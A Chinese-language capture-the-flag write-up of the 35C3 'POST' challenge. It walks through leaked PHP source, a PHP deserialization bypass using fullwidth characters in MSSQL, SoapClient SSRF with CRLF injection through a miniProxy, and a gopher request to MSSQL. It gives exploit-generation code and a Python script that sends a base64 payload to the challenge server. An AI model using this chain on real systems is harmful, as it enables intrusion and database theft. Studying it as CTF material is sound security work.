被35C3虐惨了,POST这道题的利用链很有意思,在这里复盘一下。
官方Dockerfile+wp地址:https://github.com/eboda/35c3/tree/master/post
题目还没有关,地址:http://35.207.83.242/
题目给了3个提示
Hint: flag is in db
Hint2: the lovely XSS is part of the beautiful design and insignificant for the challenge
Hint3: You probably want to get the source code, luckily for you it's rather hard to configure nginx correctly.
根据提示3可以发现上传文件目录存在Nginx配置错误,导致源码泄露
把源码down下来进行审计,给了网站源码、miniProxy
代理和Nginx
配置文件。
关键源码
db.php
<?php
class DB {
private static $con;
private static $init = false;
private static function initialize() {
DB::$con = sqlsrv_connect("db", array("pwd"=> "Foobar1!", "uid"=>"challenger", "Database"=>"challenge"));
if (!DB::$con) DB::error();
DB::$init = true;
}
private static function error() {
die("db error");
}
private static function prepare_params($params) {
return array_map(function($x){
if (is_object($x) or is_array($x)) {
return '$serializedobject$' . serialize($x);
}
if (preg_match('/^\$serializedobject\$/i', $x)) {
die("invalid data");
return "";
}
return $x;
}, $params);
}
private static function retrieve_values($res) {
$result = array();
while ($row = sqlsrv_fetch_array($res)) {
$result[] = array_map(function($x){
return preg_match('/^\$serializedobject\$/i', $x) ?
unserialize(substr($x, 18)) : $x;
}, $row);
}
return $result;
}
public static function query($sql, $values=array()) {
if (!is_array($values)) $values = array($values);
if (!DB::$init) DB::initialize();
$res = sqlsrv_query(DB::$con, $sql, $values);
if ($res === false) DB::error();
return DB::retrieve_values($res);
}
public static function insert($sql, $values=array()) {
if (!is_array($values)) $values = array($values);
if (!DB::$init) DB::initialize();
$values = DB::prepare_params($values);
$x = sqlsrv_query(DB::$con, $sql, $values);
if (!$x) throw new Exception;
}
}
default.php
<?php
include 'inc/post.php';
?>
<?php
if (isset($_POST["title"])) {
$attachments = array();
if (isset($_FILES["attach"]) && is_array($_FILES["attach"])) {
$folder = sha1(random_bytes(10));
mkdir("../uploads/$folder");
for ($i = 0; $i < count($_FILES["attach"]["tmp_name"]); $i++) {
if ($_FILES["attach"]["error"][$i] !== 0) continue;
$name = basename($_FILES["attach"]["name"][$i]);
move_uploaded_file($_FILES["attach"]["tmp_name"][$i], "../uploads/$folder/$name");
$attachments[] = new Attachment("/uploads/$folder/$name");
}
}
$post = new Post($_POST["title"], $_POST["content"], $attachments);
$post->save();
}
if (isset($_GET["action"])) {
if ($_GET["action"] == "restart") {
Post::truncate();
header("Location: /");
die;
} else {
?>
<h2>Create new post</h2>
<form method="POST" enctype="multipart/form-data">
<table>
<tr>
<td>
<label for="title">Title</label>
</td> <td>
<input name="title">
</td>
</tr>
<tr>
<td>
<label for="content">Content</label>
</td> <td>
<input name="content">
</td>
</tr>
<tr>
<td>
<label for="attach">Attachments</label>
</td> <td>
<input name="attach[]" type="file">
</td>
</tr>
<tr>
<td>
</td> <td>
<input name="attach[]" type="file">
</td>
</tr>
<tr>
<td>
</td> <td>
<input name="attach[]" type="file">
</td>
</tr>
<tr><td></td><td>
<input type="submit">
</td></tr>
</table>
</form>
<?php
}
}
$posts = Post::loadall();
if (empty($posts)) {
echo "<b>You do not have any posts. Create <a href=\"/?action=create\">some</a>!</b>";
} else {
echo "<b>You have " . count($posts) ." posts. Create <a href=\"/?action=create\">some</a> more if you want! Or <a href=\"/?action=restart\">restart your blog</a>.</b>";
}
foreach($posts as $p) {
echo $p;
echo "<br><br>";
}
?>
post.php
<?php
class Attachment {
private $url = NULL;
private $za = NULL;
private $mime = NULL;
public function __construct($url) {
$this->url = $url;
$this->mime = (new finfo)->file("../".$url);
if (substr($this->mime, 0, 11) == "Zip archive") {
$this->mime = "Zip archive";
$this->za = new ZipArchive;
}
}
public function __toString() {
$str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime ";
if (!is_null($this->za)) {
$this->za->open("../".$this->url);
$str .= "with ".$this->za->numFiles . " Files.";
}
return $str. ")";
}
}
class Post {
private $title = NULL;
private $content = NULL;
private $attachment = NULL;
private $ref = NULL;
private $id = NULL;
public function __construct($title, $content, $attachments="") {
$this->title = $title;
$this->content = $content;
$this->attachment = $attachments;
}
public function save() {
global $USER;
if (is_null($this->id)) {
DB::insert("INSERT INTO posts (userid, title, content, attachment) VALUES (?,?,?,?)",
array($USER->uid, $this->title, $this->content, $this->attachment));
} else {
DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?",
array($this->title, $this->content, $this->attachment, $USER->uid, $this->id));
}
}
public static function truncate() {
global $USER;
DB::query("DELETE FROM posts WHERE userid = ?", array($USER->uid));
}
public static function load($id) {
global $USER;
$res = DB::query("SELECT * FROM posts WHERE userid = ? AND id = ?",
array($USER->uid, $id));
if (!$res) die("db error");
$res = $res[0];
$post = new Post($res["title"], $res["content"], $res["attachment"]);
$post->id = $id;
return $post;
}
public static function loadall() {
global $USER;
$result = array();
$posts = DB::query("SELECT id FROM posts WHERE userid = ? ORDER BY id DESC", array($USER->uid)) ;
if (!$posts) return $result;
foreach ($posts as $p) {
$result[] = Post::load($p["id"]);
}
return $result;
}
public function __toString() {
$str = "<h2>{$this->title}</h2>";
$str .= $this->content;
$str .= "<hr>Attachments:<br><il>";
foreach ($this->attachment as $attach) {
$str .= "<li>$attach</li>";
}
$str .= "</il>";
return $str;
}
}
可以发现DB
类的query
方法把接收sql
语句后把执行结果丢给了retrieve_values
方法,而该方法存在一处反序列化操作,且要求反序列化字符串开头为$serializedobject$
而数据库插入方法中调用了prepare_params
方法对插入值进行过滤
而prepare_params
方法waf掉了对开头为$serializedobject$
的字符串,导致我们无法执行反序列化操作。
可是MSSQL的一个trick进行绕过。
MSSQL会自动将全角unicode字符转换为ASCII表示形式。例如,如果字符串包含0xEF 0xBC 0x84
,则将其存储为$
。因此我们可以进行任意反序列化。
根据hint1,flag在数据库里,源码中含有数据库信息,因此我们可以利用SoapClient
通过SSRF打MSSQL,前提是要能够触发它的__call
方法。
类Attachment
的__tostring
方法中有一个$this->za->open
操作,我们将SoapClient
序列化为$za
,然后触发其__tostring
方法即可SSRF。
而default.php
中实例化了Post
类,把$_POST["title"], $_POST["content"], $attachments
传了进去,并调用了save
方法
然后又调用loadall()
方法执行数据库查询操作,此时会将返回值开头为$serializedobject$
的字符串进行反序列化操作
并将返回的值打印触发Post
类的__toString
方法,而返回值含有反序列化对象,因此又可以触发反序列化对象的__toString
方法,从而可以SSRF。
构造exp
<?php
class Attachment {
private $za = NULL;
public function __construct() {
$this->za = new SoapClient(null,array('location'=>'your_ip','uri'=>'your_ip'));
}
}
$c=new Attachment();
$aaa=serialize($c);
echo $aaa;
成功SSRF
由Nginx配置文件可知,miniProxy代理监听在本地的8080
端口,且只接收Get请求
server {
listen 127.0.0.1:8080;
access_log /var/log/nginx/proxy.log;
if ( $request_method !~ ^(GET)$ ) {
return 405;
}
root /var/www/miniProxy;
location / {
index index.php;
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
}
}
而SoapClient
发送的是POST请求
但是SoapClientl
的_user_agent
属性存在CRLF注入,我们可以通过\r\n
再注入一个GET请求。
另外miniProxy
只能代理http / https
请求
可以通过gopher:///
绕过,因为miniProxy仅在设置host
时验证http / https
。或者可以重定向到一个gopher请求
来绕过。
最后就是构造gopher请求打MSSQL了。因为对MSSQL不熟悉,这里我直接用官方的exploit.php
。不过要注意gopher会在请求后加上一个\r\n
,因此构造gopher请求时要在sql语句后加一个注释符-- -
通过插入DEBUG
头我们可以获取到我们的UID
生成payload
写脚本上传文件
import requests
import base64
host="http://35.207.83.242/?"
post={
"username":"aaaaaaaaaa",
"password":"aaaaaaaaaa",
}
r=requests.Session()
url1=host+"page=login"
r.post(url=url1,data=post)
def fetch_uid():
return r.get(host, headers={"Debug": "1"}).content.decode().split("int(")[1].split(")")[0]
payload=base64.b64decode("JHNlcmlhbGl6ZWRvYmplY3TvvIRPOjEwOiJBdHRhY2htZW50IjoxOntzOjI6InphIjtPOjEwOiJTb2FwQ2xpZW50IjozOntzOjM6InVyaSI7czozNToiaHR0cDovL2xvY2FsaG9zdDo4MDgwL21pbmlQcm94eS5waHAiO3M6ODoibG9jYXRpb24iO3M6MzU6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9taW5pUHJveHkucGhwIjtzOjExOiJfdXNlcl9hZ2VudCI7czoxMzk5OiJBQUFBQUhhaGEKCkdFVCAvbWluaVByb3h5LnBocD9nb3BoZXI6Ly8vZGI6MTQzMy9BJTEyJTAxJTAwJTJGJTAwJTAwJTAxJTAwJTAwJTAwJTFBJTAwJTA2JTAxJTAwJTIwJTAwJTAxJTAyJTAwJTIxJTAwJTAxJTAzJTAwJTIyJTAwJTA0JTA0JTAwJTI2JTAwJTAxJUZGJTAwJTAwJTAwJTAxJTAwJTAxJTAyJTAwJTAwJTAwJTAwJTAwJTAwJTEwJTAxJTAwJURFJTAwJTAwJTAxJTAwJUQ2JTAwJTAwJTAwJTA0JTAwJTAwdCUwMCUxMCUwMCUwMCUwMCUwMCUwMCUwMFQwJTAwJTAwJTAwJTAwJTAwJTAwJUUwJTAwJTAwJTA4JUM0JUZGJUZGJUZGJTA5JTA0JTAwJTAwJTVFJTAwJTA3JTAwbCUwMCUwQSUwMCU4MCUwMCUwOCUwMCU5MCUwMCUwQSUwMCVBNCUwMCUwOSUwMCVCNiUwMCUwMCUwMCVCNiUwMCUwNyUwMCVDNCUwMCUwMCUwMCVDNCUwMCUwOSUwMCUwMSUwMiUwMyUwNCUwNSUwNiVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCUwMCUwMCUwMCUwMGElMDB3JTAwZSUwMHMlMDBvJTAwbSUwMGUlMDBjJTAwaCUwMGElMDBsJTAwbCUwMGUlMDBuJTAwZyUwMGUlMDByJTAwJUMxJUE1UyVBNVMlQTUlODMlQTUlQjMlQTUlODIlQTUlQjYlQTUlQjclQTVuJTAwbyUwMGQlMDBlJTAwLSUwMG0lMDBzJTAwcyUwMHElMDBsJTAwbCUwMG8lMDBjJTAwYSUwMGwlMDBoJTAwbyUwMHMlMDB0JTAwVCUwMGUlMDBkJTAwaSUwMG8lMDB1JTAwcyUwMGMlMDBoJTAwYSUwMGwlMDBsJTAwZSUwMG4lMDBnJTAwZSUwMCUwMSUwMSUwMSUwRSUwMCUwMCUwMSUwMCUxNiUwMCUwMCUwMCUxMiUwMCUwMCUwMCUwMiUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwMCUwMCUwMGklMDBuJTAwcyUwMGUlMDByJTAwdCUwMCUyMCUwMGklMDBuJTAwdCUwMG8lMDAlMjAlMDBwJTAwbyUwMHMlMDB0JTAwcyUwMCUyMCUwMCUyOCUwMHUlMDBzJTAwZSUwMHIlMDBpJTAwZCUwMCUyQyUwMCUyMCUwMHQlMDBpJTAwdCUwMGwlMDBlJTAwJTJDJTAwJTIwJTAwYyUwMG8lMDBuJTAwdCUwMGUlMDBuJTAwdCUwMCUyQyUwMCUyMCUwMGElMDB0JTAwdCUwMGElMDBjJTAwaCUwMG0lMDBlJTAwbiUwMHQlMDAlMjklMDAlMjAlMDB2JTAwYSUwMGwlMDB1JTAwZSUwMHMlMDAlMjAlMDAlMjglMDAyJTAwMCUwMDAlMDAlMkMlMDAlMjAlMDAlMjIlMDB0JTAwZSUwMHMlMDB0JTAwJTIyJTAwJTJDJTAwJTIwJTAwJTI4JTAwcyUwMGUlMDBsJTAwZSUwMGMlMDB0JTAwJTIwJTAwZiUwMGwlMDBhJTAwZyUwMCUyMCUwMGYlMDByJTAwbyUwMG0lMDAlMjAlMDBmJTAwbCUwMGElMDBnJTAwLiUwMGYlMDBsJTAwYSUwMGclMDAlMjklMDAlMkMlMDAlMjAlMDAlMjIlMDB0JTAwZSUwMHMlMDB0JTAwJTIyJTAwJTI5JTAwJTNCJTAwJTNCJTAwLSUwMC0lMDAlMjAlMDAtJTAwIEhUVFAvMS4xCkhvc3Q6IGxvY2FsaG9zdAoKIjt9fQ==")
print(payload)
data={
"title":"testssssssssssssss",
"content":payload,
}
url2=host+"action=create"
r.post(url=url2,data=data)
刷新得到flag